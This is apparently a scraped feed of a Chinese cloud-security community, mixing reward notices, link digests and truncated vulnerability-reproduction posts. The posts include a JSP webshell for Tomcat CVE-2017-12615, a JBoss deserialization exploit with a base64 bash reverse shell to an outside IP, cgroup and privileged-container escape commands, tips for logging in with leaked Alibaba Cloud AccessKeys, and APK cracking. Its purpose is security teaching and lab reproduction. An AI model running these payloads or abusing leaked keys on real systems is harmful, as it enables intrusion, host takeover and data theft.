当前节点:huoxian
时间节点
2022年5月23日 16:54火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】 点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年5月23日 11:54火线zone
k8s源码编译到远程调试笔记
https://zone.huoxian.cn/d/1198-k8s
Lacework 深入研究 Kubernetes 安全问题
https://containerjournal.com/features/lacework-dives-deeper-into-kubernetes-security/
利用 Parallels Desktop 中的 Unbounded memcpy 漏洞逃逸
https://blog.ret2.io/2022/05/19/pwn2own-2021-parallels-desktop-exploit/
Sigstore 着手确保云端原生供应链的安全
https://containerjournal.com/features/sigstore-sets-out-to-secure-cloud-native-supply-chain/
Serverless 时代,这才是 Web 应用开发正确的打开方式
https://www.infoq.cn/article/G6Ck2uC4vawOCGGLGExl
Solo.io 采用 Cilium 容器网络平台
https://containerjournal.com/features/solo-io-embraces-cilium-container-networking-platform/
从零开始的 Kubernetes 攻防
https://github.com/neargle/my-re0-k8s-security
左移只是安全软件交付的一部分
https://sysdig.com/blog/shift-left-secure-software-delivery/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月22日 16:45火线zone
对于理解k8s相关机制、漏洞利用细节来说源码debug调试的作用不言而喻,附上k8s源码编译再到远程debug调试笔记过程。
环境搭建
宿主机goland+远程/虚拟机k8s集群
通过GoLand和dlv远程调试Linux虚拟机中的Kubernetes进程
kubeadm安装k8s集群
这个网上很多教程,官方也有文档,但是有很多坑所以还是记了笔记。
拿环境debian10来安装,arch为arm64。
docker安装:
docker是kubeadm的前置依赖,安装docker的步骤参考官方教程:https://docs.docker.com/engine/install/debian/
更新deb源,安装必要软件
$ apt-get update $ apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg \ lsb-release -y
添加docker官方GPG key和添加docker amd64 deb源
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg echo \ "deb [arch=arm64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian \ $(lsb_release -cs) stable" | tee /etc/apt/sources.list.d/docker.list > /dev/null
安装docker:


kubeadm安装:
kubeadm是Kubernetes官方提供的安装工具,可用于快速部署Kubernetes集群。
源码调试环境中,需要一个基准Kubernetes集群,后续再基于该集群需要调试的CMD用Debug版本替换。
安装kubeadm的步骤参考官方教程:https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/
必要依赖,包
2022年5月21日 17:01火线zone
其实这篇tips只需要一句话就可以概括…但是知道怎么做了,希望也要知道为什么这么做
前因
两次有白帽来问我为什么阿里云的Oss-browser,使用泄露的AK,但是登录不上去
如何解决呢?
这里我在后台找了其中一个白帽提交的泄露AK来进行演示
如果只写AK,和KEY,那么这里会显示,没有权限去列buckets,我们需要指定oss路径,这里是为什么呢?
原因是:如果我们拿到的AK权限是比较小的时候,那么我们没有去列存储桶的权限的,所以需要指定存储桶名字
那么比如我们在JS中找到的泄露AK,那么会有存储桶的名字
(后台的漏洞报告,所以厚码,见谅)
那么如果我们知道存储桶的地址,自然也就知道的存储桶的名字
比如这个http://uzju.oss-cn-beijing.aliyuncs.com/,那么这里的存储桶名字就肯定是uzju没错的
那么我们如何知道区域呢?
1、自己猜
2、JS里面一般都有
错误的写法
正确的写法
登录成功,祝师傅们都能捡到AK泄露
2022年5月21日 16:31火线zone
概念
蜜罐又叫蜜罐Honeypot,蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
分类
云蜜罐从交互来区分,包括低交互蜜罐、高交互蜜罐。简单来说低交互式的蜜罐是为了实现对攻击行为的捕获,比如简单仿ssh、ftp、smtp、mysql等服务实现对攻击目标的诱捕。高交互蜜罐一般会在低交互的基础上除了伪造虚假服务之外,还能实现模仿托管各种系统OA办公系统、网站等的业务系统外,能够对攻击者的行为进行追踪溯源和分析。
功能
下面以某厂蜜罐为例,下面的是实时大屏。

(该图片来自于网络<侵删>)
高交互蜜罐,能够实现对攻击者攻击行为分析,攻击画像分析,攻击源等信息进行获取
除了溯源画像外,基本上低交互蜜罐也能实现其它功能。就主要功能点在下面这几点
对于攻击行为分析主要在日志,可以对攻击者的操作行为进行分析(包含入侵日志、扫描日志等),当然各项日志可查看详细信息,但是对于溯源来讲仅仅这些内容是无法实现的,蜜罐除了诱捕之外的亮点就在于溯源画像。内容包含社交信息,当然对于溯源来说两点就够了。社交+可能获取到敏感信息的反制文件
包含多个信息点儿,主要实现的原理是通过脚本实现的。后面分享脚本儿以及抓取流量。
环境+分析
win10 192.168.63.40 wireshark 3.6.5
直接开始抓包,对目标的地址进行访问,在访问mysql服务的时候,数据包如下
这里我们直接追踪数据流,直接追踪的是tcp流,在进行mysql连接的时候,用的协议自然有mysql和tcp协议,数据库连接使用的是mysql协议,数据块传输的时候使用的是tcp协议
可以看到在连接数据的时候,蜜罐会下载我们本机的文件。
这里可能跟数据库版本有关,下载的数据块也不是太完整,但是为了能够尽可能多的实现或者说是获取到攻击方的信息,数据会进行分块传输。
下面是来自github上的脚本
#coding=utf-8 import socket import os import re def mysql_get_file_content(filename,conn,address): logpath = os.path.abs
2022年5月20日 14:31火线zone
0x01 CLB
CLB 云负载均衡(Cloud Load Balancing)是一项完全分布式、软件定义的代管式服务。
Cloud Load Balancing 构建于 Google 所用的前端服务基础架构之上,它支持每秒处理超过一百万次查询,并且保证一致的高性能和低延迟。流量可通过 80 多个独立的全球负载均衡位置进入 Cloud Load Balancing,从而尽可能在 Google 的快速专用网络主干上传输。
使用 Cloud Load Balancing,用户可以以尽可能接近用户的位置传送内容。
信息收集
查看负载均衡器的模式
gcloud compute forwarding-rules describe forwarding_rule_name
影响
攻击者可以修改目标的负载均衡,例如设置负载均衡器,创建运行状况检查
gcloud compute health-checks create http http-basic-check --port 80
0x02 VPC
Google Cloud Virtual Private Cloud (VPC) 为 Compute Engine 虚拟机 (VM) 实例、Google Kubernetes Engine (GKE) 容器等环境提供网络功能。
信息收集
列出转发规则
gcloud compute forwarding-rules list
查看防火墙规则
gcloud compute firewall-rules list
影响
攻击者能够修改防火墙策略,使防火墙策略对攻击者放开达到利于攻击者访问资源的目的。
例如配置防火墙规则,创建 fw-allow-health-check 防火墙规则。
这是一种入站流量规则,允许来自 Google Cloud 运行状况检查系统(130.211.0.0/22 和 35.191.0.0/16)的流量。
gcloud compute firewall-rules create fw-allow-health-check --network=default --action=allow --direction=ingress --source-ranges=130.211.0.0/22,35.191.0.0/16 --target-tags=allow-health-check --rules=tcp:80
0x03
2022年5月20日 11:01火线zone
共享Cgroup容器逃逸漏洞
https://zone.huoxian.cn/d/1188-cgroup
通过实验理解"k8s的api聚合"
https://zone.huoxian.cn/d/1193-k8sapi
谷歌云 CLB 、VPC 和 IAM 服务攻防
https://zone.huoxian.cn/d/1191-clb-vpc-iam-md
Kubernetes/GKE 环境中特权 Pod 被用于作为跳板实现提权
https://security.googleblog.com/2022/05/privileged-pod-escalations-in.html
RSA创新沙盒盘点|Cado Security——云原生取证和响应
https://mp.weixin.qq.com/s/ATSanbUrGvOc2aEhOixXxg
从0基础搭建K8s环境及K8s安全基础笔记
https://mp.weixin.qq.com/s/21PTxhHKM57N_xagKTZ6rA
SUSE 将容器安全平台与 Rancher 集成在了一起
https://containerjournal.com/features/suse-integrates-container-security-platform-with-rancher/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月19日 19:31火线zone
背景
在k8s中,可以通过聚合层扩展 Kubernetes API。
本文参考sample-apiserver项目的readme和安装一个扩展的 API server,通过部署sample-apiserver来体验"聚合层"的效果。
实验目的:
验证"聚合层"的功能:看一看"sample-apiserver"是否能够扩展api
学习怎么部署"扩展的api server"
实验过程
0x01 配置聚合层
安装一个扩展的 API server 中提到,需要先配置聚合层。
其中很重要的一步是提交APIService对象,apiservice.yaml中定义了APIService对象,执行kubectl apply -f artifacts/example后,能看到APIService对象被创建。
root@ip-172-31-14-33:~/test_cr# kubectl get APIService v1alpha1.wardle.example.com -o yaml apiVersion: apiregistration.k8s.io/v1 kind: APIService metadata: annotations: kubectl.kubernetes.io/last-applied-configuration: | {"apiVersion":"apiregistration.k8s.io/v1","kind":"APIService","metadata":{"annotations":{},"name":"v1alpha1.wardle.example.com"},"spec":{"group":"wardle.example.com","groupPriorityMinimum":1000,"insecureSkipTLSVerify":true,"service":{"name":"api","namespace":"wardle"},"version":"v1alpha1","versionPriority":15}} creationTimestamp: "2022-05-19T07:48:23Z" name: v1alpha1.wardle.example.com resourceVersion: "4191734" uid: 2f101ecd-15b9-4e06-8cbe-5c58c099
2022年5月19日 17:01火线zone
tomcat复现网上已经很多了,我就在这篇文章简单的总结一下
Tomcat 任意文件写入(CVE-2017-12615)
影响范围: Tomcat 7.0.0-7.0.81(默认配置)
测试环境:Apache Tomcat v8.5.39
漏洞本质:Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞
docker打开环境https://github.com/vulhub/vulhub

docker ps docker exec -ti 9eb90787a80f bash cat conf/web.xml | grep readonly
可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)
抓个包,修改一下数据包改成put,写入一个jsp文件
可以看到成功写入任意文件


既然可以写入任意文件,那也可以写入后门来getshell
jsp木马:
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (
2022年5月19日 15:31火线zone
0x01 CLB
CLB 云负载均衡(Cloud Load Balancing)是一项完全分布式、软件定义的代管式服务。
Cloud Load Balancing 构建于 Google 所用的前端服务基础架构之上,它支持每秒处理超过一百万次查询,并且保证一致的高性能和低延迟。流量可通过 80 多个独立的全球负载均衡位置进入 Cloud Load Balancing,从而尽可能在 Google 的快速专用网络主干上传输。
使用 Cloud Load Balancing,用户可以以尽可能接近用户的位置传送内容。
信息收集
查看负载均衡器的模式
gcloud compute forwarding-rules describe forwarding_rule_name
影响
攻击者可以修改目标的负载均衡,例如设置负载均衡器,创建运行状况检查
gcloud compute health-checks create http http-basic-check --port 80
0x02 VPC
Google Cloud Virtual Private Cloud (VPC) 为 Compute Engine 虚拟机 (VM) 实例、Google Kubernetes Engine (GKE) 容器等环境提供网络功能。
信息收集
列出转发规则
gcloud compute forwarding-rules list
查看防火墙规则
gcloud compute firewall-rules list
影响
攻击者能够修改防火墙策略,使防火墙策略对攻击者放开达到利于攻击者访问资源的目的。
例如配置防火墙规则,创建 fw-allow-health-check 防火墙规则。
这是一种入站流量规则,允许来自 Google Cloud 运行状况检查系统(130.211.0.0/22 和 35.191.0.0/16)的流量。
gcloud compute firewall-rules create fw-allow-health-check --network=default --action=allow --direction=ingress --source-ranges=130.211.0.0/22,35.191.0.0/16 --target-tags=allow-health-check --rules=tcp:80
0x03
2022年5月19日 14:31火线zone
本应用程序安全指南将为您提供在2022年保持安全所需的所有信息。
什么是应用程序安全性?
应用程序安全性定义为在开发和部署应用程序期间为阻止恶意行为者通过易受攻击的软件或硬件访问数据或代码而采取的操作和过程。
随着越来越多的组织依靠软件来推进其业务流程,保持应用程序安全性与开发实践一致变得至关重要。近年来,开发人员构建和发布应用程序的方式发生了巨大变化。今天的开发周期类似于软件工厂,其新功能和更新通常每天从装配线上更新。对于软件安全经理来说,这增加了复杂性和额外的风险,以确保应用程序不会在业务系统中创建新的漏洞。
应用程序安全最佳实践应定期更新,以保持领先于黑客和不良行为者,他们经常寻找利用软件的新方法。
本应用安全指南旨在阐明核心应用安全概念和方法、漏洞和问题,并为您提供在 2022 年保持安全所需的所有工具。
为什么应用程序安全性很重要?
应用程序安全作为一门独特的学科在不断发展。到2020年,该市场价值为57亿美元,Forrester分析师预计到2025年将达到129亿美元。漏洞可能源于配置错误等简单操作,也可能来自包含已知漏洞的软件组件,这就是为什么维护和提高应用程序安全性对企业如此重要的原因。
最近的一项研究显示,在分析的85,000个应用程序中,有83%至少包含一个安全漏洞。其中,20%有严重的漏洞。虽然并非所有这些漏洞都必然会带来重大的安全风险,但黑客通过使用巧妙的变通办法来渗透软件,从而继续完善其攻击。
为了提高应用程序的安全性,公司需要投资于与他们的开发环境整合的工具。这对于处理高度敏感数据的公司(如金融机构、政府组织、医疗保健等)至关重要。
OWASP等组织对发现的漏洞进行跟踪,并提供一份清单,开发人员和安全团队可以将其作为应用程序安全的起点。最近的OWASP 10强名单于2021年发布,包括破损的访问控制、注入攻击、安全错误配置等。
云原生应用程序安全状况报告定义了云原生的采用如何在2021年转变组织防御安全威胁的方式。应用安全变得更加重要,因为错误配置和已知的未修补的安全漏洞被发现是造成最大数量安全事件的原因。
超过56%的人经历了涉及其云原生应用的错误配置或已知的未修补漏洞事件。
5 种类型的 Web 应用程序安全性
关键基础设施和网络安全
移动和网络应用安全
网络安全
云安全
物联网安全
对于应用程序安全性,没有千篇一律的解决方案。每个组织在发布解决方案之前都有不同的方法来审查解决方案
2022年5月19日 12:01火线zone
云原生安全白皮书 v2 版本更新
https://www.cncf.io/blog/2022/05/18/announcing-the-refreshed-cloud-native-security-whitepaper/
用 Tracee 检测和分析 Apache Struts 的漏洞
https://blog.aquasec.com/apache-struts-vulnerability-with-tracee
初探eBPF
https://mp.weixin.qq.com/s/GvWKY4M5YvorC4JF2ztUvQ
在 Kubernetes 上部署 Secret 加密系统 Vault
https://mp.weixin.qq.com/s/OVk39hmSjlgTSKwHb5G7gA
风起云涌下的混合云管趋势预测
https://www.infoq.cn/article/6vqgSEzh1ZXaTucSIUaZ?utm_source=rss&utm_medium=article
Deepfence 增加了管理服务以确保运行时环境的安全
https://containerjournal.com/features/deepfence-adds-managed-service-to-secure-runtime-environments/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月19日 11:31火线zone
前言
Linux利用Cgroup实现了对容器的资源限制,利用该特性,我们可以逃逸与宿主机共享Cgroup的容器。
漏洞介绍
该漏洞将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。
漏洞利用
cdk关于该漏洞的exp
宿主机以特权模式启动容器,尝试在该容器内部通过本脚本逃逸。docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash
容器内部执行 ./cdk run mount-cgroup "touch /tmp/exp-success"
宿主机中出现/tmp/exp-success文件,说明exp已经成功执行,攻击者可以在宿主机执行任意命令。
漏洞复现
以下复现内容参考自:
配置不当导致的容器逃逸 - Kingkk's Blog
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
把上面cdk执行的poc提取出来分析:
# 在容器内执行 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
创建了一个cgroup,并且通过notify_on_release机制执行容器中的可执行文件。
通过sed -n 's/.*\perdir=\([^,]
2022年5月18日 17:02火线zone
JBoss漏洞复现分析
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞原理:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
环境:https://github.com/vulhub/vulhub
访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。

使用工具JavaDeserH2HC进行攻击
首先使用nc建立一个监听,然后使用工具
#生成ReverseShellCommonsCollectionsHashMap.class javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java #生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口) #访问利用 POST 二进制数据上去 curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

直接获取到root权限
也可以使用常规Java反序列化漏洞测试方法来复现该漏洞
首先bash -i >& /dev/tcp/192.168.111.128/8888 0>&1进行base64加密后反弹shell的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoserial来复现生成序列化数据,利用链根据java版本选择,vu
2022年5月18日 11:32火线zone
k8s安全基础学习笔记
https://zone.huoxian.cn/d/1185-k8s
特权容器设备挂载逃逸漏洞
https://zone.huoxian.cn/d/1184
2022年16个危险的云计算漏洞
https://dataconomy.com/2022/05/cloud-computing-vulnerabilities/
你的GCP桶中有多少是可以公开访问的?它可能比你想象的要多...
https://blog.lightspin.io/gcp-buckets-publicly-accessible
Datadog 增强了对 K8S 的监控和安全性
https://www.prnewswire.com/news-releases/datadog-enhances-monitoring-and-security-for-kubernetes-301547247.html
Tetragon - 基于内核层 eBPF 实现的运行时进程防护工具
https://isovalent.com/blog/post/2022-05-16-tetragon
Oxeye提供CNAST工具以更好地保护微服务的安全
https://containerjournal.com/features/oxeye-delivers-cnast-tool-to-better-secure-microservices/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月17日 16:31火线zone
Kubernetes 是一个可移植的、可扩展的开源平台,用于管理容器化的工作负载和服务,可促进声明式配置和自动化。
学习k8s安全可以从搭建、理解组件关系、工作流程、安全机制开始,本文记录从0基础搭建k8s环境和k8s安全基础的笔记。
K8s快速安装
K8s安装有三种方式:
Minikube
一个k8s集群模拟器,只有一个节点的集群,master和worker都在一起
云平台K8s
可视化搭建,几步就可以创一个集群,优点是安装简单,生态齐全。
裸机安装
至少需要两台机器,主节点和工作节点各一台,需要自己安装Kubernetes组件,配置稍麻烦,缺少生态支持,比如负载均衡器和云存储。
minikube安装
0.minikube 介绍
https://minikube.sigs.k8s.io/
minikube 是启动一个最小的 local 的 Kubernetes 的一个环境。
minikube为什么说是最小是因为启动后会创建一个minikube vm,然后在minikube vm中创建一个单节点的k8s集群,就是说创建了一个只有一个节点的集群,也可以在启动minikube的指定
--vm-driver=none参数,使minikube直接在当前系统里安装单节点的k8s集群而不再创建minikube vm。
minikube可以在本机也可以在虚拟机中安装,Win/Linux都可,如果是虚拟机安装的话VT-x/AMD-v 虚拟化必须在 BIOS 中开启。并且如果在Windows下安装,如果开启了Hyper-V,不支持VirtualBox方式。
安装minikube过程为三步,分别是:安装docker、安装kubectl、安装minikube。
docker是容器引擎
kubectl是一个kubernetes的命令管理工具,一个kubernetes的一个命令行客户端。类似于mysql命令和mysqld数据库服务器的管理,mysql是mysqld的一个命令管理工具,mysqld是数据库引擎。
minikube是缩小版的kubernetes。
初始操作:
这里拿一台干净的CentOS7.9来安装,进行一些初始命令:
systemctl stop firewalld && systemctl disable firewalld #关闭自带防火墙 yum -y install iptables-services && syst
2022年5月17日 15:01火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】>点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
查克拉是什么
查克拉是火线安全平台推出的查克拉系统,查克拉为火线安全社区可流通可消费的虚拟货币系统,成员可使用它进行:
社区消费:可根据需要使用查克拉兑换火线平台的各种服务(如沙龙
2022年5月17日 14:31火线zone
前言
特权容器启动时,容器本身具有很高的权限,利用此我们可以进行容器逃逸。
漏洞介绍
docker 容器以特权模式(docker run --privileged)启动时,允许容器内的root拥有外部物理机root权限,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器:
securityContext: privileged: true
判断容器是否以特权模式启动:
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
漏洞利用
cdk关于该漏洞的exp
自动化逃逸有设备操作权限的容器。常用于逃逸特权容器。
该脚本将自动化识别当前容器内的挂载情况,并将宿主机的物理磁盘挂载到容器中,从而使容器中可以编辑宿主机文件(如修改宿主机的/etc/crontab)完成逃逸。
宿主机以特权模式启动容器,尝试在该容器内部通过本脚本逃逸。docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash
容器内部执行 ./cdk run mount-disk
在容器内部进入挂载目录,直接管理宿主机磁盘文件。
漏洞复现
启动特权容器
在docker命令行中可以通过如下命令启动一个特权容器
docker run -it --privileged nginx /bin/bash
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器
securityContext: privileged: true
查看磁盘文件
查看磁盘文件:fdisk -l
此时查看/dev/路径会发现很多设备文件:ls /dev
挂载磁盘设备进行逃逸
在特权模式下,可以直接挂载宿主机的磁盘,chroot之后就可以像访问本地文件一样,读取宿主机上的文件
fdisk -l mkdir /abc mount /dev/sda1 /abc chroot /abc/
参考文章
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%9
2022年5月17日 14:01火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】 点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年5月17日 11:01火线zone
重磅首发!火线安全发布《云安全攻防技术期刊》
https://zone.huoxian.cn/d/1180
微软云 LB、VNet 和 IM 攻防
https://zone.huoxian.cn/d/1179-lbvnet-im
平衡小团队的需求和云计算的可视性需求
https://www.lacework.com/blog/balancing-small-team-demands-with-the-need-for-cloud-visibility/
绕过AWS/Azure/GCP云WAF的乐趣
https://infosecwriteups.com/module-1-introduction-pentesting-bypassing-cloud-waf-fun-profit-75f315951aa8
类似CVE的云系统安全解决方案出现
https://threatpost.com/cve-cloud-bug-system/179394/
深入探究--保护云中的容器威胁
https://threatpost.com/container_threats_cloud_defend/179452/
加密技术如何帮助恢复云安全的完整性
https://securityboulevard.com/2022/05/how-encryption-helps-restore-cloud-security-integrity/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月17日 10:31火线zone
在现今社会APP已经是泛滥了,任何一个公司或者企业或多或少的都会有自己的APP,而APP的安全也是一块新天地。发布多少,这次帖子主要是从APK逆向分析出手。
1、利用吾爱破解论坛的demoapk实战破解分析;
下载论坛上的debug.apk(https://wwi.lanzoup.com/iGJzi012bscf);

随便输入都是破解失败。接下来我们就让他随便输入都是破解成功;
2、下载相关破解工具;
apktool_2.6.1.jar(https://bitbucket.org/iBotPeaches/apktool/downloads/)
3、反编译目标apk(这里由于使用的demo,没有加壳,对于加壳的APP还需要使用frida或BlackDex64等其他工具进行脱壳)
java -jar apktool.jar d debug.apk
4、方便过后得到一个debug文件夹

5、找到smali文件;
通过jeb动态分析逻辑或AndroidKiller_v1.3.1工具都可以,这里根据论坛上的指引,找到了反编译之后的Screen1.smali文件;
6、打开Screen1.smail文件,定位到需要破解的位置;
原始代码中的判断逻辑方法在u6309u94ae1$Click方法中,找到if-eq v0, v1, :cond_0,这里 如果v0 等于v1 的值,那么就执行const-string v2, "\u7834\u89e3\u5931\u8d25"破解失败;
这里改了一下
if-eq v0, v1, :cond_1如果v0等于v1的值,那么就执行const-string v2, "\u7834\u89e3\u6210\u529f" 破解成功
.method public u6309u94ae1$Click()Ljava/lang/Object;
.locals 4
